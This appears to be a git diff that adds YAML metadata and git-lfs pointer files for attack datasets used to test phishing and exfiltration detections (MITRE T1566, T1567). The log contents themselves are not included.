b/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/gsuite_external_domain-ead290e1-349d-47b2-a6d9-1dc71b35906b.log new file mode 100644 index 000000000..d8a7abeea --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/gsuite_external_domain-ead290e1-349d-47b2-a6d9-1dc71b35906b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4adb39ccf9b0e95d211f950f477ce36b79c5910b7834121e228939256b2f29a1 +size 2058 diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/T1566.001_gsuite_susp_attachment_ext.yml b/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/T1566.001_gsuite_susp_attachment_ext.yml new file mode 100644 index 000000000..c8c6f4f59 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/T1566.001_gsuite_susp_attachment_ext.yml @@ -0,0 +1,12 @@ +author: STRT +id: 16a186f9-53d4-4d77-a510-ac15264c8750 +date: '2026-07-10' +description: Curated attack data generated for detection GSuite Email Suspicious Attachment +environment: attack_range +directory: gsuite_susp_attachment_ext +mitre_technique: [] +datasets: +- name: gsuite_gmail_file_ext + path: /datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/gsuite_gmail_file_ext-16a186f9-53d4-4d77-a510-ac15264c8750.log + sourcetype: gsuite:gmail:bigquery + source: http:gsuite diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/gsuite_gmail_file_ext-16a186f9-53d4-4d77-a510-ac15264c8750.log b/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/gsuite_gmail_file_ext-16a186f9-53d4-4d77-a510-ac15264c8750.log new file mode 100644 index 000000000..1ac55779f --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_attachment_ext/gsuite_gmail_file_ext-16a186f9-53d4-4d77-a510-ac15264c8750.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4169e4d509b3b9e1e699dc73a730c909ef4efb8e9035f5b743f08fd2213ab896 +size 2020 diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_subj/T1566.001_gsuite_susp_subj.yml b/datasets/attack_techniques/T1566.001/gsuite_susp_subj/T1566.001_gsuite_susp_subj.yml new file mode 100644 index 000000000..b801414f1 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_subj/T1566.001_gsuite_susp_subj.yml @@ -0,0 +1,13 @@ +author: STRT +id: f8b03c8e-fbc5-4581-87ae-d6cf2edc6ccd +date: '2026-07-10' +description: Curated attack data generated for detection Gsuite Email Suspicious Subject + With Attachment +environment: attack_range +directory: gsuite_susp_subj +mitre_technique: [] +datasets: +- name: gsuite_susp_subj_attach + path: /datasets/attack_techniques/T1566.001/gsuite_susp_subj/gsuite_susp_subj_attach-f8b03c8e-fbc5-4581-87ae-d6cf2edc6ccd.log + sourcetype: gsuite:gmail:bigquery + source: http:gsuite diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_subj/gsuite_susp_subj_attach-f8b03c8e-fbc5-4581-87ae-d6cf2edc6ccd.log b/datasets/attack_techniques/T1566.001/gsuite_susp_subj/gsuite_susp_subj_attach-f8b03c8e-fbc5-4581-87ae-d6cf2edc6ccd.log new file mode 100644 index 000000000..8e34e0d1f --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_subj/gsuite_susp_subj_attach-f8b03c8e-fbc5-4581-87ae-d6cf2edc6ccd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9d4ae1605918b214ac2577cb1f659cc32cad338a073c7e946606f2acd8400295 +size 2377 diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_url/T1566.001_gsuite_susp_url.yml b/datasets/attack_techniques/T1566.001/gsuite_susp_url/T1566.001_gsuite_susp_url.yml new file mode 100644 index 000000000..f4ab1f962 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_url/T1566.001_gsuite_susp_url.yml @@ -0,0 +1,13 @@ +author: STRT +id: 66307c94-a217-4209-8cdf-cf249a9e14a1 +date: '2026-07-10' +description: Curated attack data generated for detection Gsuite Email With Known Abuse + Web Service Link +environment: attack_range +directory: gsuite_susp_url +mitre_technique: [] +datasets: +- name: gsuite_susp_url + path: /datasets/attack_techniques/T1566.001/gsuite_susp_url/gsuite_susp_url-66307c94-a217-4209-8cdf-cf249a9e14a1.log + sourcetype: gsuite:gmail:bigquery + source: http:gsuite diff --git a/datasets/attack_techniques/T1566.001/gsuite_susp_url/gsuite_susp_url-66307c94-a217-4209-8cdf-cf249a9e14a1.log b/datasets/attack_techniques/T1566.001/gsuite_susp_url/gsuite_susp_url-66307c94-a217-4209-8cdf-cf249a9e14a1.log new file mode 100644 index 000000000..4c46aae4a --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_susp_url/gsuite_susp_url-66307c94-a217-4209-8cdf-cf249a9e14a1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:65630ad3fff8065d987a7c9b99a29ad04df46168f97331e7f27a1a4858614002 +size 2736 diff --git a/datasets/attack_techniques/T1566.001/macro/T1566.001_macro.yml b/datasets/attack_techniques/T1566.001/macro/T1566.001_macro.yml new file mode 100644 index 000000000..bc1270394 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/T1566.001_macro.yml @@ -0,0 +1,33 @@ +author: STRT +id: 0af246cf-cb04-400c-a2d1-040a95ea6f72 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Execute Arbitrary + Commands with MSDT +environment: attack_range +directory: macro +mitre_technique: [] +datasets: +- name: msdt + path: /datasets/attack_techniques/T1566.001/macro/msdt-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_cabinf + path: /datasets/attack_techniques/T1566.001/macro/windows-sysmon_cabinf-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_mshtml + path: /datasets/attack_techniques/T1566.001/macro/windows-sysmon_mshtml-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_control + path: /datasets/attack_techniques/T1566.001/macro/windows-sysmon_control-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_icedid + path: /datasets/attack_techniques/T1566.001/macro/windows-sysmon_icedid-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_macros + path: /datasets/attack_techniques/T1566.001/macro/windows-sysmon_macros-0af246cf-cb04-400c-a2d1-040a95ea6f72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/macro/msdt-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/msdt-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..dd1ec5524 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/msdt-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9829cce838d5d033415d453c5eb08ee10b6bdcccf9e31084d53562fd397a057a +size 4689 diff --git a/datasets/attack_techniques/T1566.001/macro/windows-sysmon_cabinf-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_cabinf-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..bba14d518 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_cabinf-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c9bfd920c176eddae2dc251fe203e4925ffff5b1e80cfe90864e38d46064760a +size 2060 diff --git a/datasets/attack_techniques/T1566.001/macro/windows-sysmon_control-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_control-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..bdfe64b6b --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_control-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2790d2b185f88a46cdc2eeeaef10b2b9a82594c74e61799632108b8042d0c078 +size 4355 diff --git a/datasets/attack_techniques/T1566.001/macro/windows-sysmon_icedid-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_icedid-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..baa897d20 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_icedid-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:74e5e996a50b16b2518608becacc68dac6ddaaa1bffbe0852b1905e0cfad809f +size 9502 diff --git a/datasets/attack_techniques/T1566.001/macro/windows-sysmon_macros-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_macros-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..45503a8d7 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_macros-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6efed7dfd228b574f391f6bb87187dec01610daeab1fdaa8c993e76b96f3e59a +size 23919 diff --git a/datasets/attack_techniques/T1566.001/macro/windows-sysmon_mshtml-0af246cf-cb04-400c-a2d1-040a95ea6f72.log b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_mshtml-0af246cf-cb04-400c-a2d1-040a95ea6f72.log new file mode 100644 index 000000000..10b7a9d1c --- /dev/null +++ b/datasets/attack_techniques/T1566.001/macro/windows-sysmon_mshtml-0af246cf-cb04-400c-a2d1-040a95ea6f72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ee623f34f2c1ba5cc6a211084a053e0672c44159e14188bb2227b56fdeb054f3 +size 1480 diff --git a/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/T1566.001_office_doc_abuses_rels.yml b/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/T1566.001_office_doc_abuses_rels.yml new file mode 100644 index 000000000..ba2f0d57e --- /dev/null +++ b/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/T1566.001_office_doc_abuses_rels.yml @@ -0,0 +1,13 @@ +author: STRT +id: a9d55559-2b6f-4085-a922-bb340715807f +date: '2026-07-13' +description: Curated attack data generated for detection Windows Spearphishing Attachment + Connect To None MS Office Domain +environment: attack_range +directory: office_doc_abuses_rels +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1566.001/office_doc_abuses_rels/sysmon-a9d55559-2b6f-4085-a922-bb340715807f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/sysmon-a9d55559-2b6f-4085-a922-bb340715807f.log b/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/sysmon-a9d55559-2b6f-4085-a922-bb340715807f.log new file mode 100644 index 000000000..6f258a736 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/office_doc_abuses_rels/sysmon-a9d55559-2b6f-4085-a922-bb340715807f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:671d6502eb57ef2a546c2a7d249d5923b6bc246ef02f520ee7b8458f60b3ac3c +size 1048 diff --git a/datasets/attack_techniques/T1566.001/onenote_spear_phishing/T1566.001_onenote_spear_phishing.yml b/datasets/attack_techniques/T1566.001/onenote_spear_phishing/T1566.001_onenote_spear_phishing.yml new file mode 100644 index 000000000..453157470 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/onenote_spear_phishing/T1566.001_onenote_spear_phishing.yml @@ -0,0 +1,13 @@ +author: STRT +id: 394b8577-b7a2-4804-b4d6-565d16f3c1e1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Spearphishing Attachment + Onenote Spawn Mshta +environment: attack_range +directory: onenote_spear_phishing +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1566.001/onenote_spear_phishing/sysmon-394b8577-b7a2-4804-b4d6-565d16f3c1e1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/onenote_spear_phishing/sysmon-394b8577-b7a2-4804-b4d6-565d16f3c1e1.log b/datasets/attack_techniques/T1566.001/onenote_spear_phishing/sysmon-394b8577-b7a2-4804-b4d6-565d16f3c1e1.log new file mode 100644 index 000000000..842c19136 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/onenote_spear_phishing/sysmon-394b8577-b7a2-4804-b4d6-565d16f3c1e1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bb0bd5621bd962b111fd86dd3a5b8c962b6e38be8d74b133296d60fd9585d4ec +size 4674 diff --git a/datasets/attack_techniques/T1566.001/outlook_writing_zip/T1566.001_outlook_writing_zip.yml b/datasets/attack_techniques/T1566.001/outlook_writing_zip/T1566.001_outlook_writing_zip.yml new file mode 100644 index 000000000..556570961 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/outlook_writing_zip/T1566.001_outlook_writing_zip.yml @@ -0,0 +1,13 @@ +author: STRT +id: 19c250db-32ce-48b9-8265-872f7610b17a +date: '2026-07-10' +description: Curated attack data generated for detection Detect Outlook exe writing + a zip file +environment: attack_range +directory: outlook_writing_zip +mitre_technique: [] +datasets: +- name: outlook_writing_zip + path: /datasets/attack_techniques/T1566.001/outlook_writing_zip/outlook_writing_zip-19c250db-32ce-48b9-8265-872f7610b17a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/outlook_writing_zip/outlook_writing_zip-19c250db-32ce-48b9-8265-872f7610b17a.log b/datasets/attack_techniques/T1566.001/outlook_writing_zip/outlook_writing_zip-19c250db-32ce-48b9-8265-872f7610b17a.log new file mode 100644 index 000000000..d8e68ac43 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/outlook_writing_zip/outlook_writing_zip-19c250db-32ce-48b9-8265-872f7610b17a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b9c4ffadfb6862ce8418bdd32204743270f964b69146f2f1a3e1443e592c7574 +size 1951 diff --git a/datasets/attack_techniques/T1566.001/phishing_pdf_uri/T1566.001_phishing_pdf_uri.yml b/datasets/attack_techniques/T1566.001/phishing_pdf_uri/T1566.001_phishing_pdf_uri.yml new file mode 100644 index 000000000..e7e9f230f --- /dev/null +++ b/datasets/attack_techniques/T1566.001/phishing_pdf_uri/T1566.001_phishing_pdf_uri.yml @@ -0,0 +1,13 @@ +author: STRT +id: 581f14ae-4a0b-427f-ba97-95941004348c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Phishing PDF File + Executes URL Link +environment: attack_range +directory: phishing_pdf_uri +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1566.001/phishing_pdf_uri/sysmon-581f14ae-4a0b-427f-ba97-95941004348c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/phishing_pdf_uri/sysmon-581f14ae-4a0b-427f-ba97-95941004348c.log b/datasets/attack_techniques/T1566.001/phishing_pdf_uri/sysmon-581f14ae-4a0b-427f-ba97-95941004348c.log new file mode 100644 index 000000000..9598a7c4d --- /dev/null +++ b/datasets/attack_techniques/T1566.001/phishing_pdf_uri/sysmon-581f14ae-4a0b-427f-ba97-95941004348c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:19e34d33699a114e62812778bc9b427f459bbd0fc98d6826b7484137301eafb6 +size 13175 diff --git a/datasets/attack_techniques/T1566.002/atomic_red_team/T1566.002_atomic_red_team.yml b/datasets/attack_techniques/T1566.002/atomic_red_team/T1566.002_atomic_red_team.yml new file mode 100644 index 000000000..25bd5efe2 --- /dev/null +++ b/datasets/attack_techniques/T1566.002/atomic_red_team/T1566.002_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: ca044160-be46-4b0f-8661-d541c1711e91 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Office Product Spawned + Uncommon Process +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1566.002/atomic_red_team/windows-sysmon-ca044160-be46-4b0f-8661-d541c1711e91.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.002/atomic_red_team/windows-sysmon-ca044160-be46-4b0f-8661-d541c1711e91.log b/datasets/attack_techniques/T1566.002/atomic_red_team/windows-sysmon-ca044160-be46-4b0f-8661-d541c1711e91.log new file mode 100644 index 000000000..e3cf09645 --- /dev/null +++ b/datasets/attack_techniques/T1566.002/atomic_red_team/windows-sysmon-ca044160-be46-4b0f-8661-d541c1711e91.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:70e91d16a27857f0737c39454031d7bead8cca4ddc5d822a4eb775336f701d3c +size 25752 diff --git a/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/T1566.002_lnk_file_temp_folder.yml b/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/T1566.002_lnk_file_temp_folder.yml new file mode 100644 index 000000000..43041ef8e --- /dev/null +++ b/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/T1566.002_lnk_file_temp_folder.yml @@ -0,0 +1,13 @@ +author: STRT +id: ccc893ae-fa36-4fb0-9f57-ac7fc147b53a +date: '2026-07-10' +description: Curated attack data generated for detection Process Creating LNK file + in Suspicious Location +environment: attack_range +directory: lnk_file_temp_folder +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1566.002/lnk_file_temp_folder/windows-sysmon-ccc893ae-fa36-4fb0-9f57-ac7fc147b53a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/windows-sysmon-ccc893ae-fa36-4fb0-9f57-ac7fc147b53a.log b/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/windows-sysmon-ccc893ae-fa36-4fb0-9f57-ac7fc147b53a.log new file mode 100644 index 000000000..7c0b63d14 --- /dev/null +++ b/datasets/attack_techniques/T1566.002/lnk_file_temp_folder/windows-sysmon-ccc893ae-fa36-4fb0-9f57-ac7fc147b53a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:35532eb0ae470dad73bcb26f9fe38462369112a403f1efa6ca38985ad5e448a0 +size 1981 diff --git a/datasets/attack_techniques/T1566/cve-2024-21378/T1566_cve-2024-21378.yml b/datasets/attack_techniques/T1566/cve-2024-21378/T1566_cve-2024-21378.yml new file mode 100644 index 000000000..ef2bae720 --- /dev/null +++ b/datasets/attack_techniques/T1566/cve-2024-21378/T1566_cve-2024-21378.yml @@ -0,0 +1,13 @@ +author: STRT +id: ed89120c-6a95-40b7-81de-44c79173b488 +date: '2026-07-11' +description: Curated attack data generated for detection Windows InProcServer32 New + Outlook Form +environment: attack_range +directory: cve-2024-21378 +mitre_technique: [] +datasets: +- name: inprocserver32_windows-sysmon + path: /datasets/attack_techniques/T1566/cve-2024-21378/inprocserver32_windows-sysmon-ed89120c-6a95-40b7-81de-44c79173b488.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566/cve-2024-21378/inprocserver32_windows-sysmon-ed89120c-6a95-40b7-81de-44c79173b488.log b/datasets/attack_techniques/T1566/cve-2024-21378/inprocserver32_windows-sysmon-ed89120c-6a95-40b7-81de-44c79173b488.log new file mode 100644 index 000000000..6ac8938fb --- /dev/null +++ b/datasets/attack_techniques/T1566/cve-2024-21378/inprocserver32_windows-sysmon-ed89120c-6a95-40b7-81de-44c79173b488.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8aae938e3771ce6c5d38653cc2bdc9f7a81382bbaf57af2e4e7a54c6976cfd93 +size 1164 diff --git a/datasets/attack_techniques/T1566/o365_various_alerts/T1566_o365_various_alerts.yml b/datasets/attack_techniques/T1566/o365_various_alerts/T1566_o365_various_alerts.yml new file mode 100644 index 000000000..a8814d48d --- /dev/null +++ b/datasets/attack_techniques/T1566/o365_various_alerts/T1566_o365_various_alerts.yml @@ -0,0 +1,12 @@ +author: STRT +id: f49dc088-d4fb-47ec-8b83-32a1488b3db6 +date: '2026-07-10' +description: Curated attack data generated for detection O365 DLP Rule Triggered +environment: attack_range +directory: o365_various_alerts +mitre_technique: [] +datasets: +- name: o365_various_alerts + path: /datasets/attack_techniques/T1566/o365_various_alerts/o365_various_alerts-f49dc088-d4fb-47ec-8b83-32a1488b3db6.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1566/o365_various_alerts/o365_various_alerts-f49dc088-d4fb-47ec-8b83-32a1488b3db6.log b/datasets/attack_techniques/T1566/o365_various_alerts/o365_various_alerts-f49dc088-d4fb-47ec-8b83-32a1488b3db6.log new file mode 100644 index 000000000..c848073b8 --- /dev/null +++ b/datasets/attack_techniques/T1566/o365_various_alerts/o365_various_alerts-f49dc088-d4fb-47ec-8b83-32a1488b3db6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:61c47b982b9ddb2e0ddd77f92f96ab598794473717973babb27138acaad852c0 +size 6075 diff --git a/datasets/attack_techniques/T1566/outlook_dropped_dll/T1566_outlook_dropped_dll.yml b/datasets/attack_techniques/T1566/outlook_dropped_dll/T1566_outlook_dropped_dll.yml new file mode 100644 index 000000000..2fabc6ec7 --- /dev/null +++ b/datasets/attack_techniques/T1566/outlook_dropped_dll/T1566_outlook_dropped_dll.yml @@ -0,0 +1,13 @@ +author: STRT +id: d9f980c1-040a-4994-9682-21bd0ba82e51 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Phishing Outlook + Drop Dll In FORM Dir +environment: attack_range +directory: outlook_dropped_dll +mitre_technique: [] +datasets: +- name: outlook_phishing_form_dll + path: /datasets/attack_techniques/T1566/outlook_dropped_dll/outlook_phishing_form_dll-d9f980c1-040a-4994-9682-21bd0ba82e51.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566/outlook_dropped_dll/outlook_phishing_form_dll-d9f980c1-040a-4994-9682-21bd0ba82e51.log b/datasets/attack_techniques/T1566/outlook_dropped_dll/outlook_phishing_form_dll-d9f980c1-040a-4994-9682-21bd0ba82e51.log new file mode 100644 index 000000000..eb2d77efa --- /dev/null +++ b/datasets/attack_techniques/T1566/outlook_dropped_dll/outlook_phishing_form_dll-d9f980c1-040a-4994-9682-21bd0ba82e51.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64edd4d006207dded39a7e8d0e6a1c72eb14f299c1db4b6e93597d3843a76c30 +size 3823 diff --git a/datasets/attack_techniques/T1566/zscalar_web_proxy/T1566_zscalar_web_proxy.yml b/datasets/attack_techniques/T1566/zscalar_web_proxy/T1566_zscalar_web_proxy.yml new file mode 100644 index 000000000..0f4c7ad72 --- /dev/null +++ b/datasets/attack_techniques/T1566/zscalar_web_proxy/T1566_zscalar_web_proxy.yml @@ -0,0 +1,13 @@ +author: STRT +id: c50cd1ef-01fa-4352-b656-8cd50a51f838 +date: '2026-07-13' +description: Curated attack data generated for detection Zscaler Adware Activities + Threat Blocked +environment: attack_range +directory: zscalar_web_proxy +mitre_technique: [] +datasets: +- name: zscalar_web_proxy + path: /datasets/attack_techniques/T1566/zscalar_web_proxy/zscalar_web_proxy-c50cd1ef-01fa-4352-b656-8cd50a51f838.log + sourcetype: zscalernss-web + source: zscaler diff --git a/datasets/attack_techniques/T1566/zscalar_web_proxy/zscalar_web_proxy-c50cd1ef-01fa-4352-b656-8cd50a51f838.log b/datasets/attack_techniques/T1566/zscalar_web_proxy/zscalar_web_proxy-c50cd1ef-01fa-4352-b656-8cd50a51f838.log new file mode 100644 index 000000000..e4bae3ba4 --- /dev/null +++ b/datasets/attack_techniques/T1566/zscalar_web_proxy/zscalar_web_proxy-c50cd1ef-01fa-4352-b656-8cd50a51f838.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3c7b8c19a7d3498b9035b24b217860a9969133454d160eec82eb8fbf8c91ad23 +size 18614 diff --git a/datasets/attack_techniques/T1567.002/snapattack/T1567.002_snapattack.yml b/datasets/attack_techniques/T1567.002/snapattack/T1567.002_snapattack.yml new file mode 100644 index 000000000..103198341 --- /dev/null +++ b/datasets/attack_techniques/T1567.002/snapattack/T1567.002_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b06704e4-b724-4639-8881-a326a2b7282e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Azure Storage Utility + Execution Via CLI +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1567.002/snapattack/snapattack-b06704e4-b724-4639-8881-a326a2b7282e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1567.002/snapattack/snapattack-b06704e4-b724-4639-8881-a326a2b7282e.log b/datasets/attack_techniques/T1567.002/snapattack/snapattack-b06704e4-b724-4639-8881-a326a2b7282e.log new file mode 100644 index 000000000..9635e5a71 --- /dev/null +++ b/datasets/attack_techniques/T1567.002/snapattack/snapattack-b06704e4-b724-4639-8881-a326a2b7282e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:02040ed943576d629a6bad59830cdff5d223779ac0b29fb1a44457bee836e344 +size 1621 diff --git a/datasets/attack_techniques/T1567/gdrive/T1567_gdrive.yml b/datasets/attack_techniques/T1567/gdrive/T1567_gdrive.yml new file mode 100644 index 000000000..e3665f326 --- /dev/null +++ b/datasets/attack_techniques/T1567/gdrive/T1567_gdrive.yml @@ -0,0 +1,16 @@ +author: STRT +id: 1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc +date: '2026-07-11' +description: Curated attack data generated for detection Linux Gdrive Binary Activity +environment: attack_range +directory: gdrive +mitre_technique: [] +datasets: +- name: gdrive_linux + path: /datasets/attack_techniques/T1567/gdrive/gdrive_linux-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: gdrive_windows + path: /datasets/attack_techniques/T1567/gdrive/gdrive_windows-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1567/gdrive/gdrive_linux-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log b/datasets/attack_techniques/T1567/gdrive/gdrive_linux-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log new file mode 100644 index 000000000..1709cf786 --- /dev/null +++ b/datasets/attack_techniques/T1567/gdrive/gdrive_linux-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:daf0bbc7db60f12468ba8577ab2641d03eb8859f71e7b45f455b159f6c785c90 +size 5546 diff --git a/datasets/attack_techniques/T1567/gdrive/gdrive_windows-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log b/datasets/attack_techniques/T1567/gdrive/gdrive_windows-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log new file mode 100644 index 000000000..6c68207b5 --- /dev/null +++ b/datasets/attack_techniques/T1567/gdrive/gdrive_windows-1a21ba26-31a4-442e-b1e1-3e7e3a4e90bc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8b021e719ae8e0d9a0d75cddb8e47c1a2472f687512985a66989a5aec57c2a97 +size 6602 diff --git 